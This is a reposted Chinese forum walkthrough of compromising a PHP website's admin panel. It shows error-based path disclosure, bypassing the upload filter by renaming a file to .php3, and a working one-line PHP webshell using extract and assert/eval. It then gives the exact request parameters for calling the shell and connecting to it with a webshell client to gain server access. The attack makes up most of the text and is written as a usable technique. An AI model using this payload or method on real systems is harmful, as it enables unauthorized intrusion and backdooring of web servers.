转载:http://tieba.baidu.com/p/4480493887
后台:
test.com/y/?m=qidianAdmin&d=3
【信息探测】↓
-----------------------------------------------信息探测------------------------------------------------------
从链接基本确定是框架写的
审查元素看了下平台,apache 基本确定是php
容错做的不好,访问ks_inc/conn.php?a=sdgsdhjgkjsdgd 爆出物理路径
/www/users/jxxxxx.com/ks_inc/conn.php
得到目录/ks_inc
linux系统+php框架突破上传的话,后面可能需要一些有权限的路径。不然可能导致不解析。
---------------------------------------------------信息探测--------------------------------------------------
后台首页如下;如图1
先看了下网站设置没有敏感功能,那就找上传了。
【上传点情况】
自带上传+fck编辑器
fck基本不用看,很难配合apache拿shell。而且还是高版本。
自带上传也是框架,上传抓不到包,只有整体提交才行(猎鹰能XSS拿到后台也不容易,一般框架后台都自动转义)。
先上传一个正常图片,返回如下↓
http://www。test。com/5df209c2-169c-4acb-9c78-a4bbc6823675
不带后缀,只是一个预览效果。
整体提交后,前面上传的图片返回路径如下↓
/u/20160414/161042228331767761754-5135-77-20.jpg
确定了,真实生成文件是在整体提交,前面只是一个预览的作用。
于是在新闻界面上传,如图2↓
【POST包内容】
包如图3、4、5↓
【得到信息】↓
POST提交地址:m=qidianAdmin&d=3&ifr=1&st=60&c=info_edit
这里qidianAdmin作为文件不能动,那就有几个参数了:d、ifr、c、
没有控制路径和文件的参数,测试发现info_edit参数不可变,否则上传失败。
其他参数基本控制的新闻类型,无意义。
带了个cookie,没什么用。
下面的新闻内容参数控制的新闻内容,对路径和文件名无意义。
下面有个参数
name="newdate"
0000-00-00
基本就是对应上传后的文件名的随机值。
类似这种:5135-77-20
删除后仍然正常上传,修改也无异常。
直接上传php不允许,这里直接修改成php提交。改一下编码便于观察↓如图6
看一下新闻列表的内容↓如图7
<img src="/"
审查元素看了下路径,图片路径已经置为网站根路径,访问也是到了网站首页。
【测试】
1.上传正常图片看结果
结果:图片显示正常,返回路径为:/u/20160414/161042252360541709029-5135-77-20.jpg 如图8↓
2.改为asp后缀
结果:也是和php结果一样,无路径,上传失败。
3.改为不识别后缀aaaa 如下图9↓
结果:访问不解析,直接提示下载了。另外确实在网站为.aaaa后缀存在,以图片显示。
然后尝试用php4 php1 ashx cdx,都不解析,提示下载。
尝试到php3后缀时,图片正常显示。访问如图10↓
基本确定当做php来解析了。
下面直接在包里面插上一句话,结果就报错。换了几个函数的一句话也不行,最后插上传参一句话来解决。
插入:
<?php extract($_GET).$a($b[0]);?>
这样就一个extract函数了,伪全局应该没问题了吧。
上传后得到路径
http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3
给加上参数访问
http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3?a=assert&b[0]=eval($_POST[yebaqi5]);
如图12↓
菜刀连接:http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3?a=assert&b
[0]=eval($_POST[yebaqi5]);
如图13↓
好了,拿到shell
【总结】
突破框架php上传的话,还是要配合各种搭建平台的解析特性,虽然我这里没办法配合。这个apache解析成脚本后直接到首页,上传pphphp得知未过滤,还是配置的问题。
基本上框架写的上传,多少都存在问题,基本上都是后缀问题。